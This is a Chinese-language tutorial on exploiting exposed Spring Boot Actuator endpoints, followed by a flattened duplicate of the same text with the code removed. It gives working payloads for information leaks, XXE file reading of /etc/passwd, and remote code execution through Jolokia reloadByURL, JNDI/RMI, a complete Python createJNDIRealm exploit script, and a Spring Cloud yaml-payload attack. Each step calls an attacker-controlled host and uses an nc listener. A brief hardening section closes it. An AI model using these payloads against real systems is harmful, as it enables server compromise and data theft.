Spring Boot Actuator 漏洞利用
字数 1692 2025-08-15 21:30:37

Spring Boot Actuator 漏洞利用全面指南

1. 漏洞概述

Spring Boot Actuator 是 Spring Boot 提供的服务监控和管理中间件。当应用程序运行时,它会自动将多个端点注册到路由进程中。由于对这些端点的错误配置,可能导致系统信息泄露、XXE 甚至 RCE 等安全问题。

2. 漏洞发现

2.1 识别 Spring Boot 应用

  1. 网站图标:通常是一个绿色的树叶
  2. 特有报错信息:Spring Boot 特有的错误页面

2.2 版本影响

  • Spring Boot < 1.5:默认未授权访问所有端点
  • Spring Boot >= 1.5:默认只允许访问 /health/info 端点,但此安全性常被开发人员禁用

3. Actuator 端点详解

3.1 端点路径差异

  • Spring Boot 1.x:端点在根 URL 下注册
  • Spring Boot 2.x:端点移动到 /actuator/ 路径

3.2 主要端点功能

路径 描述
/autoconfig 提供自动配置报告
/beans 描述应用程序上下文里全部的 Bean 及其关系
/env 获取全部环境属性
/configprops 描述配置属性如何注入 Bean
/dump 获取线程活动的快照
/health 报告应用程序的健康指标
/info 获取应用程序的定制信息
/mappings 描述全部的 URI 路径及其控制器映射
/metrics 报告各种应用程序度量信息
/shutdown 关闭应用程序
/trace 提供基本的 HTTP 请求跟踪信息

4. 信息泄露漏洞

4.1 敏感信息泄露

  1. /trace 端点:获取近期服务器收到的请求信息,可能包含用户 cookie
  2. /env 端点:获取环境属性,可能泄露数据库凭证等敏感信息

5. Jolokia 端点利用

5.1 XXE 漏洞利用

利用条件:存在 logback 库提供的 reloadByURL 方法

利用步骤

  1. 创建恶意文件:

    • logback.xml
      <?xml version="1.0" encoding="utf-8" ?>
      <!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://x.x.x.x/fileread.dtd"> %remote;%int;]>
      <a>&trick;</a>
      
    • fileread.dtd
      <!ENTITY % d SYSTEM "file:///etc/passwd">
      <!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">
      
  2. 将文件上传到公网服务器

  3. 触发漏洞:

    /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/x.x.x.x!/logback.xml
    

5.2 RCE 漏洞利用

利用条件:存在 reloadByURL 方法

利用步骤

  1. 准备恶意文件:

    • logback.xml
      <configuration>
        <insertFromJNDI env-entry-name="rmi://x.x.x.x:1097/jndi" as="appName" />
      </configuration>
      
  2. 编译并运行 RMI 服务器:

    java -Djava.rmi.server.hostname=x.x.x.x -jar RMIServer-0.1.0.jar
    
  3. 设置监听:

    nc -lvp 9998
    
  4. 触发漏洞:

    /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/x.x.x.x!/logback.xml
    

5.3 createJNDIRealm 方法利用

利用条件:存在 org.apache.catalina.mbeans.MBeanFactory 类的 createJNDIRealm 方法

利用步骤

  1. 使用 Python 脚本发送请求:

    import requests as req
    import sys
    from pprint import pprint
    
    url = sys.argv[1] + "/jolokia/"
    
    # 创建JNDIRealm
    create_JNDIrealm = {
        "mbean": "Tomcat:type=MBeanFactory",
        "type": "EXEC",
        "operation": "createJNDIRealm",
        "arguments": ["Tomcat:type=Engine"]
    }
    
    # 写入contextFactory
    set_contextFactory = {
        "mbean": "Tomcat:realmPath=/realm0,type=Realm",
        "type": "WRITE",
        "attribute": "contextFactory",
        "value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
    }
    
    # 写入connectionURL
    set_connectionURL = {
        "mbean": "Tomcat:realmPath=/realm0,type=Realm",
        "type": "WRITE",
        "attribute": "connectionURL",
        "value": "rmi://x.x.x.x:1097/jndi"
    }
    
    # 停止Realm
    stop_JNDIrealm = {
        "mbean": "Tomcat:realmPath=/realm0,type=Realm",
        "type": "EXEC",
        "operation": "stop",
        "arguments": []
    }
    
    # 启动Realm
    start = {
        "mbean": "Tomcat:realmPath=/realm0,type=Realm",
        "type": "EXEC",
        "operation": "start",
        "arguments": []
    }
    
    expoloit = [create_JNDIrealm, set_contextFactory, set_connectionURL, stop_JNDIrealm, start]
    
    for i in expoloit:
        rep = req.post(url, json=i)
        pprint(rep.json())
    
  2. 运行 RMI 服务器和监听(同 5.2)

  3. 执行脚本:

    python exp.py http://x.x.x.x:8087
    

6. Spring Cloud env 利用

利用条件

  • Spring Boot <= 1.5.x (Dalston 版本)
  • 或 Spring Boot <= 1.4

利用步骤

  1. 准备恶意 YAML 文件:

    • 下载并修改 yaml-payload
    • 编译:
      javac src/artsploit/AwesomeScriptEngineFactory.java
      jar -cvf yaml-payload.jar -C src/ .
      
  2. 修改 spring.cloud.bootstrap.location

    POST /env HTTP/1.1
    Host: 127.0.0.1:8090
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 59
    
    spring.cloud.bootstrap.location=http://x.x.x.x/yaml-payload.yml
    
  3. 触发 refresh:

    POST /refresh HTTP/1.1
    Host: 127.0.0.1:8090
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 0
    

7. 防御措施

  1. 禁用不必要的端点:在 application.properties 中配置

    management.endpoints.web.exposure.include=health,info
    
  2. 启用安全保护

    • 添加 Spring Security 依赖
    • 配置基本认证
  3. 升级版本:使用最新稳定版 Spring Boot

  4. 网络隔离:限制 Actuator 端点的访问来源

  5. 自定义端点路径:修改默认端点路径

8. 参考资源

  1. Exploiting Spring Boot Actuators
  2. Spring Boot Actuator Exploit
  3. yaml-payload
  4. Spring Cloud 相关漏洞分析
Spring Boot Actuator 漏洞利用全面指南 1. 漏洞概述 Spring Boot Actuator 是 Spring Boot 提供的服务监控和管理中间件。当应用程序运行时,它会自动将多个端点注册到路由进程中。由于对这些端点的错误配置,可能导致系统信息泄露、XXE 甚至 RCE 等安全问题。 2. 漏洞发现 2.1 识别 Spring Boot 应用 网站图标 :通常是一个绿色的树叶 特有报错信息 :Spring Boot 特有的错误页面 2.2 版本影响 Spring Boot < 1.5 :默认未授权访问所有端点 Spring Boot >= 1.5 :默认只允许访问 /health 和 /info 端点,但此安全性常被开发人员禁用 3. Actuator 端点详解 3.1 端点路径差异 Spring Boot 1.x :端点在根 URL 下注册 Spring Boot 2.x :端点移动到 /actuator/ 路径 3.2 主要端点功能 | 路径 | 描述 | |------|------| | /autoconfig | 提供自动配置报告 | | /beans | 描述应用程序上下文里全部的 Bean 及其关系 | | /env | 获取全部环境属性 | | /configprops | 描述配置属性如何注入 Bean | | /dump | 获取线程活动的快照 | | /health | 报告应用程序的健康指标 | | /info | 获取应用程序的定制信息 | | /mappings | 描述全部的 URI 路径及其控制器映射 | | /metrics | 报告各种应用程序度量信息 | | /shutdown | 关闭应用程序 | | /trace | 提供基本的 HTTP 请求跟踪信息 | 4. 信息泄露漏洞 4.1 敏感信息泄露 /trace 端点 :获取近期服务器收到的请求信息,可能包含用户 cookie /env 端点 :获取环境属性,可能泄露数据库凭证等敏感信息 5. Jolokia 端点利用 5.1 XXE 漏洞利用 利用条件 :存在 logback 库提供的 reloadByURL 方法 利用步骤 : 创建恶意文件: logback.xml : fileread.dtd : 将文件上传到公网服务器 触发漏洞: 5.2 RCE 漏洞利用 利用条件 :存在 reloadByURL 方法 利用步骤 : 准备恶意文件: logback.xml : 编译并运行 RMI 服务器: 设置监听: 触发漏洞: 5.3 createJNDIRealm 方法利用 利用条件 :存在 org.apache.catalina.mbeans.MBeanFactory 类的 createJNDIRealm 方法 利用步骤 : 使用 Python 脚本发送请求: 运行 RMI 服务器和监听(同 5.2) 执行脚本: 6. Spring Cloud env 利用 利用条件 : Spring Boot <= 1.5.x (Dalston 版本) 或 Spring Boot <= 1.4 利用步骤 : 准备恶意 YAML 文件: 下载并修改 yaml-payload 编译: 修改 spring.cloud.bootstrap.location : 触发 refresh: 7. 防御措施 禁用不必要的端点 :在 application.properties 中配置 启用安全保护 : 添加 Spring Security 依赖 配置基本认证 升级版本 :使用最新稳定版 Spring Boot 网络隔离 :限制 Actuator 端点的访问来源 自定义端点路径 :修改默认端点路径 8. 参考资源 Exploiting Spring Boot Actuators Spring Boot Actuator Exploit yaml-payload Spring Cloud 相关漏洞分析